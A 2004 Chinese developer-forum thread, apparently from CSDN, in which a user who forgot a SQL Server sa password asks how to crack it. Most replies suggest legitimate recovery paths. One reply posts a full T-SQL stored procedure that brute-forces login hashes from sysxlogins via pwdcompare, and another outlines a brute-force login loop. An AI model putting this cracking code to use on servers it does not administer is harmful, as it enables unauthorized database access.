如何破解sql Server的登录??急!!!
由于把安装的sql server登录密码忘记了,不知道那位知道怎么破解??小弟不胜感激!! 问题点数:20、回复次数:19Top
1 楼szsbell()回复于 2004-09-04 14:01:40 得分 0
知道有一个sa的用户名Top
2 楼txlicenhe(马可)回复于 2004-09-04 14:02:04 得分 0
用 windows身份认证登录后修改即可。
Top
3 楼szsbell()回复于 2004-09-04 14:07:59 得分 0
怎样用用 windows身份认证登录??Top
4 楼szsbell()回复于 2004-09-04 14:09:06 得分 0
我现在就是登录win2000server系统,但是打开数据库的时候,提示没有权限啊Top
5 楼afei_001(wxdf)回复于 2004-09-04 14:20:14 得分 0
你编辑注册信息,然后在安全性-登录里,右击sa用户,修改密码,试试看Top
6 楼szsbell()回复于 2004-09-04 14:23:46 得分 0
怎样编辑注册信息?能不能给个步骤来??Top
7 楼qiliu(痴心求学)回复于 2004-09-04 14:30:29 得分 0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\mode
为1Top
8 楼szsbell()回复于 2004-09-04 14:38:19 得分 0
不知道 这个“在安全性-登录里,右击sa用户,修改密码“这个是什么意思来的??Top
9 楼postfxj(探索者)回复于 2004-09-04 14:40:21 得分 0
用windows驗証進入重新修改你的sa密碼不可以嗎?Top
10 楼postfxj(探索者)回复于 2004-09-04 14:40:59 得分 0
隻要你知道windows進入的密碼一定可以的。Top
11 楼szsbell()回复于 2004-09-04 14:45:27 得分 0
其实大家还不明白我的意思,其实我的sql server里面是有个sa用户,但是现在的问题是,我现在用sql server的用户登录进入sql server,由于这个用户的权限是很小,所以不能增加用户和更改用户,更别说更改sa的密码,不知道各位有没有遇到这样的情况,望告知!Top
12 楼szsbell()回复于 2004-09-04 14:52:25 得分 0
我现在在连接sqlserver的时候,选择”使用windows身份验证“,sql server居然报说我登录失败!Top
13 楼mhw11(心情一般)回复于 2004-09-04 15:02:18 得分 5
新建一个数据库连接,选择Windows身份验证,应该可以进去,我以前试过
Top
14 楼szsbell()回复于 2004-09-04 15:04:23 得分 0
此用户的权限是不能新建数据库的Top
15 楼szsbell()回复于 2004-09-04 15:21:18 得分 0
我发现这个数据库应该只是允许sa作为超级用户的?怎么办啊Top
16 楼myperry(綠草原 向★★★★★★奋斗)回复于 2004-09-04 15:21:34 得分 5
把SQL停止,将数据库文件拷贝出来,放在另一台SQL电脑上查看,这样可以看到所有内容。
sa的密码是不可能破解的,只能新建一个,如果能破可能大家都不会去用SQL。
在你的电脑上重新装一次SQL,再把数据库考回去,一切都好了。
Top
17 楼szsbell()回复于 2004-09-04 15:25:11 得分 0
这么惨!!!!!!!!!!!Top
18 楼zlp321002(Life Is Good,Let's Shine)回复于 2004-09-04 15:25:16 得分 5
邹建老大的:
if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[p_GetPassword]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)
drop procedure [dbo].[p_GetPassword]
GO
/*--穷举法破解 SQL Server 用户密码
可以破解中文,特殊字符,字符+尾随空格的密码
为了方便显示特殊字符的密码,在显示结果中,显示了组成密码的ASCII
理论上可以破解任意位数的密码
条件是你的电脑配置足够,时间足够
--邹建 2004.08(引用请保留此信息)--*/
/*--调用示例
--测试特殊字符
declare @pwd sysname
set @pwd=char(0)+'a '
exec sp_password null,@pwd,'sa'
exec p_GetPassword
--测试带空格的密码
exec sp_password null,'a ','sa'
exec p_GetPassword
--测试中文
exec sp_password null,'我 ','sa'
exec p_GetPassword
--清除密码
exec sp_password null,null,'sa'
--*/
create proc p_GetPassword
@username sysname=null, --用户名,如果不指定,则列出所有用户
@pwdlen int=3 --密码破解的位数,默认只破解3位及以下的密码
as
--生成要破解的密码的用户表
select name,password
,type=case when xstatus&2048=2048 then 1 else 0 end
,jm=case when password is null or datalength(password)<46
then 1 else 0 end
,pwdstr=case when datalength(password)<46
then cast(password as sysname)
else cast('' as sysname) end
,pwd=cast('' as varchar(8000))
into #pwd
from master.dbo.sysxlogins a
where srvid is null
and name=isnull(@username,name)
--生成临时表
select top 255 id=identity(int,0,1) into #t from sysobjects a,sysobjects b
alter table #t add constraint PK_#t primary key(id)
--清理不需要的字符
if not exists(select 1 from #pwd where type=1)
delete from #t where id between 65 and 90 or id between 129 and 254
--密码破解处理
declare @l int
declare @s1 varchar(8000),@s2 varchar(8000),@s3 varchar(8000),@s4 varchar(8000)
--破解1位密码
select @l=0
,@s1='id=a.id'
,@s2='#t a'
,@s3='char(b.id)'
,@s4='cast(b.id as varchar)'
exec('
update pwd set jm=1,pwdstr='+@s3+'
,pwd='+@s4+'
from #pwd pwd,#t b
where pwd.jm=0
and pwdcompare('+@s3+',pwd.password,pwd.type)=1
')
--破解超过2位的密码
while exists(select 1 from #pwd where jm=0 and @l<@pwdlen-1)
begin
select @l=@l+1
,@s1=@s1+',id'+cast(@l as varchar)
+'='+char(@l/26+97)+char(@l%26+97)+'.id'
,@s2=@s2+',#t '+char(@l/26+97)+char(@l%26+97)
,@s3=@s3+'+char(b.id'+cast(@l as varchar)+')'
,@s4=@s4+'+'',''+cast(b.id'+cast(@l as varchar)+' as varchar)'
exec('
select '+@s1+' into #tt from '+@s2+'
update pwd set jm=1,pwdstr='+@s3+'
,pwd='+@s4+'
from #pwd pwd,#tt b
where pwd.jm=0
and pwdcompare('+@s3+',pwd.password,pwd.type)=1
')
end
--显示破解的密码
select 用户名=name,密码=pwdstr,密码ASCII=pwd
from #pwd
go
Top
19 楼apple800(老五)回复于 2004-09-04 22:05:10 得分 5
这样行不:
编个用sa连接数据库的例子,密码用穷举法(变量=a ,.......,循环......)
先是1位密码,2位,3位,4位......
要是能保存进度,更好,因为循环的时间长
扑捉错误,没有错误的时候证明这个就是密码了,跳出循环.....Top




